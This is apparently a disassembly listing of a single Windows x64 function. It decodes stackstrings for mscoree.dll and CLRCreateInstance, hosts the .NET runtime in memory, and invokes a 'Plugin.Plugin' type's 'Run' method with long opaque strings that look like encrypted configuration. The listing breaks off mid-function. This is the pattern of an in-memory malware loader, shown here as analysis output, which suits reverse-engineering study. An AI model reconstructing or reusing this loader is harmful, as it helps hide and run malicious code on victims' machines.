Function at 0x14000c270
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x128]
sub rsp, 0x228
mov qword [rbp + 0x88], 0xfffffffffffffffe
mov rax, qword [0x140028058]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov r15, r9
mov rsi, r8
movsxd rbx, edx
mov rdi, rcx
xor r14d, r14d
mov qword [rsp + 0x48], r14
mov dword [rbp - 0x78], ebx
mov dword [rbp - 0x74], r14d
lea ecx, [r14 + 0x11]
lea r8, [rbp - 0x78]
lea edx, [rcx - 0x10]
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov r12, rax
mov qword [rbp - 0x60], r14
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
test eax, eax
js 0x14000d3d5
mov r8, rbx
mov rdx, rdi
mov rcx, qword [rbp - 0x60]
call fcn.14000f470
mov rcx, r12
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
js 0x14000d3d5
mov dword [rbp + 0xd8], 0x6f43534d
mov dword [rbp + 0xdc], 0x2e454572
mov dword [rbp + 0xe0], 0x6c6c64
lea rcx, [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r13, rax
test rax, rax
je 0x14000d3d5
mov dword [rbp + 0xf8], 0x43524c43
mov dword [rbp + 0xfc], 0x74616572
mov dword [rbp + 0x100], 0x736e4965
mov dword [rbp + 0x104], 0x636e6174
mov word [rbp + 0x108], 0x65
lea rdx, [rbp + 0xf8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000d3cc
lea r8, [rsp + 0x48]
lea rdx, [0x140024e90]
lea rcx, [0x140024ea0]
call rax
test eax, eax
js 0x14000d3cc
cmp qword [rsp + 0x48], r14
je 0x14000d3cc
mov qword [rsp + 0x50], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, qword [rsp + 0x48]
mov r9, qword [rcx]
lea r8, [rbp - 0x68]
mov rdx, rax
call qword [r9 + 0x30]
test eax, eax
js 0x14000d3c1
mov rdx, qword [rbp - 0x68]
test rdx, rdx
je 0x14000d3c1
lea r8, [rsp + 0x50]
mov rcx, rsi
call fcn.14000c050
mov ebx, eax
mov rcx, qword [rbp - 0x68]
mov r8, qword [rcx]
call qword [r8 + 0x10]
test ebx, ebx
je 0x14000c424
mov rcx, qword [rsp + 0x50]
test rcx, rcx
jne 0x14000c46e
mov rcx, qword [rsp + 0x48]
mov r10, qword [rcx]
lea r9, [rsp + 0x50]
lea r8, [0x140024eb0]
mov rdx, rsi
call qword [r10 + reloc.OLEAUT32.dll_SafeArrayGetElement]
test eax, eax
js 0x14000d3c1
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000d3c1
mov rax, qword [rcx]
lea rdx, [rbp - 0x80]
call qword [rax + 0x50]
test eax, eax
js 0x14000c4b3
cmp dword [rbp - 0x80], r14d
je 0x14000c4b3
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x68], r14
mov rax, qword [rcx]
lea r9, [rsp + 0x68]
lea r8, [0x140024e80]
lea rdx, [0x140024e70]
call qword [rax + 0x48]
test eax, eax
js 0x14000c4b3
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000c4b3
test ebx, ebx
jne 0x14000c4c3
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x68]
test eax, eax
jns 0x14000c4c3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x14000d3c1
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [rax + 0x68]
test eax, eax
js 0x14000d36f
mov rbx, qword [rsp + 0x40]
test rbx, rbx
sete al
test al, al
jne 0x14000d36f
test rbx, rbx
jne 0x14000c508
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000c518
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x38], r14
mov rax, qword [rbx]
lea r8, [rsp + 0x38]
lea rdx, [0x140024ef0]
mov rcx, rbx
call qword [rax]
test eax, eax
js 0x14000d302
mov rbx, qword [rsp + 0x38]
test rbx, rbx
sete al
test al, al
jne 0x14000d302
test rbx, rbx
jne 0x14000c55c
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000c56c
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x30], r14
mov rax, qword [rbx]
lea r8, [rsp + 0x30]
mov rdx, r12
mov rcx, rbx
call qword [rax + 0x168]
test eax, eax
js 0x14000d266
cmp qword [rsp + 0x30], 0
sete al
test al, al
jne 0x14000d266
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x58], r14
mov dword [rbp + 0xe8], 0x67756c50
mov dword [rbp + 0xec], 0x502e6e69
mov dword [rbp + 0xf0], 0x6967756c
mov word [rbp + 0xf4], 0x6e
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
call fcn.14000fe80
mov rdi, rax
mov qword [rsp + 0x78], rax
mov r12d, 1
test rax, rax
je 0x14000c605
mov qword [rax + 8], r14
mov dword [rax + 0x10], r12d
lea rcx, [rbp + 0xe8]
call fcn.140018be0
mov qword [rdi], rax
jmp 0x14000c608
mov rdi, r14
mov qword [rbp - 0x10], rdi
test rdi, rdi
jne 0x14000c61c
mov ecx, 0x8007000e
call fcn.140018d70
nop
mov rbx, qword [rsp + 0x30]
test rbx, rbx
jne 0x14000c631
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000c641
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x58], r14
mov rax, qword [rbx]
lea r8, [rsp + 0x58]
mov rdx, qword [rdi]
mov rcx, rbx
call qword [rax + 0x88]
test eax, eax
js 0x14000d15c
cmp qword [rsp + 0x58], 0
sete al
test al, al
jne 0x14000d15c
xor eax, eax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov word [rbp - 0x58], r12w
mov rcx, qword [rsp + 0x30]
test rcx, rcx
jne 0x14000c69b
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
lea r8, [rbp - 0x58]
mov rdx, qword [rdi]
call qword [rax + 0x148]
test eax, eax
js 0x14000d064
cmp qword [rsp + 0x58], 0
sete al
test al, al
jne 0x14000d064
mov dword [rsp + 0x70], 0x6e7552
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
call fcn.14000fe80
mov rsi, rax
mov qword [rsp + 0x78], rax
test rax, rax
je 0x14000c6fa
mov qword [rax + 8], r14
mov dword [rax + 0x10], r12d
lea rcx, [rsp + 0x70]
call fcn.140018be0
mov qword [rsi], rax
jmp 0x14000c6fd
mov rsi, r14
mov qword [rbp + 0x68], rsi
test rsi, rsi
jne 0x14000c711
mov ecx, 0x8007000e
call fcn.140018d70
nop
mov rbx, qword [rsp + 0x58]
test rbx, rbx
jne 0x14000c726
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000c736
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [rsp + 0x60], r14
mov rax, qword [rbx]
lea r8, [rsp + 0x60]
mov rdx, qword [rsi]
mov rcx, rbx
call qword [rax + 0x210]
test eax, eax
js 0x14000cf21
cmp qword [rsp + 0x60], 0
sete al
test al, al
jne 0x14000cf21
xor eax, eax
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], rax
mov dword [rsp + 0x20], r14d
mov qword [rbp - 0x70], 9
lea ecx, [rax + 0xc]
lea r8, [rbp - 0x70]
mov edx, r12d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov r14, rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov eax, 8
mov word [rbp - 8], ax
lea ecx, [rbx + 0x18]
call fcn.14000fe80
mov r12, rax
mov qword [rsp + 0x78], rax
test rax, rax
je 0x14000c7d7
mov qword [rax + 8], rbx
mov dword [rax + 0x10], 1
lea rcx, str.0Ojcm6F1oAD3PysvRq7zBcRItomMfFUFX6CODjdHCxAUQQKAGET1O1kEPuLMRThaBY2pkrq7YXdxjgsgCc7pKfEKN5VhY6O9J0b5wuQzqA0
call fcn.140018be0
mov qword [r12], rax
jmp 0x14000c7da
mov r12, rbx
test r12, r12
jne 0x14000c7ea
mov ecx, 0x8007000e
call fcn.140018d70
int3
mov rax, qword [r12]
mov qword [rbp], rax
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [r12 + 0x10], eax
dec eax
jne 0x14000c828
mov rcx, qword [r12]
test rcx, rcx
je 0x14000c811
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14000c820
call fcn.14000fda8
mov rcx, r12
call fcn.14000fda8
lea r8, [rbp - 8]
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
inc dword [rsp + 0x20]
mov eax, 8
mov word [rbp + 0x10], ax
lea ecx, [rax + 0x10]
call fcn.14000fe80
mov r12, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14000c87d
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.JzGgfKWpc4PVfMEuS1y9PIuiS9QAyQ2_PjXXLdhyHTWXLJ0VDxMsdwznQfexTDswMkuosGJ3BIqL1CGQP4Yg
call fcn.140018be0
mov qword [r12], rax
jmp 0x14000c880
xor r12d, r12d
test r12, r12
jne 0x14000c890
mov ecx, 0x8007000e
call fcn.140018d70
int3
mov rax, qword [r12]
mov qword [rbp + 0x18], rax
mov eax, ebx
lock xadd dword [r12 + 0x10], eax
dec eax
jne 0x14000c8cb
mov rcx, qword [r12]
test rcx, rcx
je 0x14000c8b4
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14000c8c3
call fcn.14000fda8
mov rcx, r12
call fcn.14000fda8
lea r8, [rbp + 0x10]
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
inc dword [rsp + 0x20]
mov eax, 8
mov word [rbp + 0x50], ax
lea ecx, [rax + 0x10]
call fcn.14000fe80
mov r12, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14000c920
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, str.qVdssfWuJ3zt1j_BSSD5Z0CD4czdTRFOD5vKFxjSYDYMbr2Ra_meYsh7OIaUqClzjJNtzsfrPn8OjA34nfREH8ltDRROT5IpdhaAcF8KAN6Xpw3rThAZleREClI5gYSJQq3UJIjYxD9LJQIRsdFMM8u9ERys3MMP1YY5y3QAeOvNxPToT8GlZRaCgl7CMVhft8Yy16PPelW7pWMp1oZAGCuPOOFa5Om4LaYQ8HaU5wx1ObzdgtBBKSVjeG4nrcczS6fFYWE4otQ9NElnXcovvu7cXVB_tsb106uTIZUX345obTM5GkrB4aJskIQWHCA7SYR8V2cTeheVVpeV_zKSOvSjHutrxFZ0Sf35A1_NobmtvYVOrNOK_UKZrCLuBVt5YEjbB6tndKW2PvZrkpBDF8By0hUf70J0HoJvV0UpzJHlk7cJIIdeY9GuzHFLVCP48hZ4mmiFVQYEEYfPp_kfOEqnstH0OtGqUhY5BA45BN3nf6D0cjQA27bVylDOTf96onlNpxtRJ7vhaKSY351jhoU1lVJqXEbSaBsltV3taQH1Cw2jwleTRPWIJDYc5KOIBuAVpuIJ_jHzFKg12Cy85UHEEg9K4XNEqNK0iHaBn0OXFYUPsWVJW1hg04Orcx526SHEJfXddvuinqrRT301YW2_5MzVrmgJYiLkhAIIMzvH4tlUkTHAcVWnLUOHeGs50QfBnDixZdM8CDvCj08EDjVlU1HeRZr3xEDtOxpVylFb565d1nS4CTfoGAUsZGodrfdTY2kvC0MSZP_F0JDcsnm1Tf9jlfe2ofYZ7lRVNWuDUguqWl_7YjqCnETW3Ae5Q7wprlNGy2Sl3w_HoX4mn2wYmKxvkbkOPMD9qLK_6zaP8FgkiGA00X3Vq61Mia614ktvGaVsw27Nko7J89qhKTsCkOWmp_X2A3gIfqta8q_vLJKTzqDzKWCD8yyPcAqkJsK16HYF3j8Z6jdQrVNIGxjRl6780kqjMNiY0B3zxbHsm0XJOEGNPaKBx4qxN7koBtQryhp_9hY_2MVAaG26udIAhe0M0
call fcn.140018be0
mov qword [r12], rax
jmp 0x14000c923
xor r12d, r12d
test r12, r12
jne 0x14000c933
mov ecx, 0x8007000e
call fcn.140018d70
int3
mov rax, qword [r12]
mov qword [rbp + 0x58], rax
mov eax, ebx
lock xadd dword [r12 + 0x10], eax
dec eax
jne 0x14000c96e
mov rcx, qword [r12]
test rcx, rcx
je 0x14000c957
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14000c966
call fcn.14000fda8
mov rcx, r12
call fcn.14000fda8
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
inc dword [rsp + 0x20]
mov eax, 8
mov word [rbp + 0x70], ax
lea ecx, [rax + 0x10]
call fcn.14000fe80
mov r12, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14000c9c3
mov qword [rax + 8], 0
mov dword [rax + 0x10], 1
lea rcx, [0x14002e368]
call fcn.140018be0
mov qword [r12], rax
jmp 0x14000c9c6
xor r12d, r12d
test r12, r12
jne 0x14000c9d6
mov ecx, 0x8007000e
call fcn.140018d70
int3
mov rax, qword [r12]
mov qword [rbp + 0x78], rax
mov eax, ebx
lock xadd dword [r12 + 0x10], eax
dec eax
jne 0x14000ca11
mov rcx, qword [r12]
test rcx, rcx
je 0x14000c9fa
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14000ca09
call fcn.14000fda8
mov rcx, r12
call fcn.14000fda8
lea r8, [rbp + 0x70]
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov r11d, dword [rsp + 0x20]
inc r11d
mov dword [rsp + 0x20], r11d
test r15, r15
je 0x14000cac1
mov eax, 8
mov word [rbp - 0x28], ax
mov rdx, r15
lea rcx, [rsp + 0x78]
call fcn.14000a740
mov rax, qword [rax]
test rax, rax
je 0x14000ca60
mov rax, qword [rax]
mov qword [rbp - 0x20], rax
jmp 0x14000ca68
mov qword [rbp - 0x20], 0
mov r12, qword [rsp + 0x78]
test r12, r12
je 0x14000caaa
mov eax, ebx
lock xadd dword [r12 + 0x10], eax
dec eax
jne 0x14000caaa
test r12, r12
je 0x14000caaa
mov rcx, qword [r12]
test rcx, rcx
je 0x14000ca93
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14000caa2
call fcn.14000fda8
mov rcx, r12
call fcn.14000fda8
lea r8, [rbp - 0x28]
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
mov r11d, dword [rsp + 0x20]
inc r11d
inc r11d
mov dword [rsp + 0x20], r11d
mov eax, 8
mov word [rbp + 0x90], ax
lea ecx, [rax + 0x10]
call fcn.14000fe80
mov r12, rax
mov qword [rsp + 0x28], rax
xor r15d, r15d
test rax, rax
je 0x14000cb0d
mov qword [rax + 8], r15
mov dword [rax + 0x10], 1
lea rcx, str.IRFgeKRprw7FkpkZK5agGPrMcWBNz3jFEZvwBTBICdeYgU2LuOubhnvJiTZA6i1CI0WFqy9l3jpXsDxD9_Lbg
call fcn.140018be0
mov qword [r12], rax
jmp 0x14000cb10
mov r12, r15
test r12, r12
jne 0x14000cb20
mov ecx, 0x8007000e
call fcn.140018d70
int3
mov rax, qword [r12]
mov qword [rbp + 0x98], rax
mov eax, ebx
lock xadd dword [r12 + 0x10], eax
dec eax
jne 0x14000cb5e
mov rcx, qword [r12]
test rcx, rcx
je 0x14000cb47
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14000cb56
call fcn.14000fda8
mov rcx, r12
call fcn.14000fda8
lea r8, [rbp + 0x90]
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
inc dword [rsp + 0x20]
mov eax, 8
mov word [rbp + 0xc0], ax
lea ecx, [rax + 0x10]
call fcn.14000fe80
mov r12, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14000cbb5
mov qword [rax + 8], r15
mov dword [rax + 0x10], 1
lea rcx, str.EFlor10Ns_CjJNURj08J7_WzItsolv4iquvIx546CfvVZRNd_Ihk1IH_B8FJzlUQoCpRfSfYYKBhDOpRMbS_w
call fcn.140018be0
mov qword [r12], rax
jmp 0x14000cbb8
mov r12, r15
test r12, r12
jne 0x14000cbc8
mov ecx, 0x8007000e
call fcn.140018d70
int3
mov rax, qword [r12]
mov qword [rbp + 0xc8], rax
mov eax, ebx
lock xadd dword [r12 + 0x10], eax
dec eax
jne 0x14000cc06
mov rcx, qword [r12]
test rcx, rcx
je 0x14000cbef
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14000cbfe
call fcn.14000fda8
mov rcx, r12
call fcn.14000fda8
lea r8, [rbp + 0xc0]
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
inc dword [rsp + 0x20]
mov eax, 8
mov word [rbp + 0xa8], ax
lea ecx, [rax + 0x10]
call fcn.14000fe80
mov r12, rax
mov qword [rsp + 0x28], rax
test rax, rax
je 0x14000cc5d
mov qword [rax + 8], r15
mov dword [rax + 0x10], 1
lea rcx, str.4knuCn8fTYbDSFBKr3RUXWrh2asslgdR4Z0mSQrc1nZcW4tpo22LRNjFckKCNL77ie0joBJLwtX4qP8O_JZg
call fcn.140018be0
mov qword [r12], rax
jmp 0x14000cc60
mov r12, r15
test r12, r12
jne 0x14000cc70
mov ecx, 0x8007000e
call fcn.140018d70
int3
mov rax, qword [r12]
mov qword [rbp + 0xb0], rax
mov eax, ebx
lock xadd dword [r12 + 0x10], eax
dec eax
jne 0x14000ccae
mov rcx, qword [r12]
test rcx, rcx
je 0x14000cc97
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [r12 + 8]
test rcx, rcx
je 0x14000cca6
call fcn.14000fda8
mov rcx, r12
call fcn.14000fda8
lea r8, [rbp + 0xa8]
lea rdx, [rsp + 0x20]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopy]
inc dword [rsp + 0x20]
movups xmm0, xmmword [rbp - 0x58]
movaps xmmword [rbp + 0x30], xmm0
movsd xmm1, qword [rbp - 0x48]
movsd qword [rbp + 0x40], xmm1
mov rcx, qword [rsp + 0x60]
test rcx, rcx
jne 0x14000ccee
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
lea r9, [rbp - 0x40]
mov r8, r14
lea rdx, [rbp + 0x30]
call qword [rax + 0x128]
mov r12d, eax
mov rcx, qword [rsp + 0x60]
test rcx, rcx
jne 0x14000cd1a
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
jne 0x14000cd35
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
jne 0x14000cd50
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
jne 0x14000cd6b
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
jne 0x14000cd86
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test r12d, r12d
jns 0x14000ce68
mov eax, ebx
lock xadd dword [rsi + 0x10], eax
dec eax
jne 0x14000cdef
mov rcx, qword [rsi]
test rcx, rcx
je 0x14000cdd8
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x14000cde6
call fcn.14000fda8
mov rcx, rsi
call fcn.14000fda8
nop
mov eax, ebx
lock xadd dword [rdi + 0x10], eax
dec eax
jne 0x14000ce1f
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000ce08
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14000ce16
call fcn.14000fda8
mov rcx, rdi
call fcn.14000fda8
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000ce30
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000ce41
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000ce52
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000ce63
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000d24f
mov eax, ebx
lock xadd dword [rsi + 0x10], eax
dec eax
jne 0x14000ce98
mov rcx, qword [rsi]
test rcx, rcx
je 0x14000ce81
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x14000ce8f
call fcn.14000fda8
mov rcx, rsi
call fcn.14000fda8
nop
lock xadd dword [rdi + 0x10], ebx
dec ebx
jne 0x14000cec6
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000ceaf
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14000cebd
call fcn.14000fda8
mov rcx, rdi
call fcn.14000fda8
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000ced7
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000cee8
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000cef9
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000cf0a
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x14000cf1a
mov rax, qword [rcx]
call qword [rax + 0x10]
xor eax, eax
jmp 0x14000d3d8
mov rcx, qword [rsp + 0x58]
test rcx, rcx
jne 0x14000cf36
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
jne 0x14000cf51
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
jne 0x14000cf6c
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
jne 0x14000cf87
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rsi + 0x10], eax
dec eax
jne 0x14000cfeb
mov rcx, qword [rsi]
test rcx, rcx
je 0x14000cfd4
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rsi + 8]
test rcx, rcx
je 0x14000cfe2
call fcn.14000fda8
mov rcx, rsi
call fcn.14000fda8
nop
mov eax, ebx
lock xadd dword [rdi + 0x10], eax
dec eax
jne 0x14000d01b
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000d004
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14000d012
call fcn.14000fda8
mov rcx, rdi
call fcn.14000fda8
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000d02c
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000d03d
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000d04e
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000d05f
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000d24f
mov rcx, qword [rsp + 0x30]
test rcx, rcx
jne 0x14000d079
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
jne 0x14000d094
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
jne 0x14000d0af
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdi + 0x10], eax
dec eax
jne 0x14000d113
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000d0fc
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14000d10a
call fcn.14000fda8
mov rcx, rdi
call fcn.14000fda8
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000d124
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000d135
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000d146
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14000d157
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
jmp 0x14000d24f
mov rcx, qword [rsp + 0x30]
test rcx, rcx
jne 0x14000d171
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
jne 0x14000d18c
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
jne 0x14000d1a7
mov ecx, 0x80004003
call fcn.140018d70
int3
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdi + 0x10], eax
dec eax
jne 0x14000d20b
mov rcx, qword [rdi]
test rcx, rcx
je 0x14000d1f4
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14000d202
call fcn.14000fda8
mov rcx, rdi
call fcn.14000fda8
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000d21c
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14000d22d
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14000d23e
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
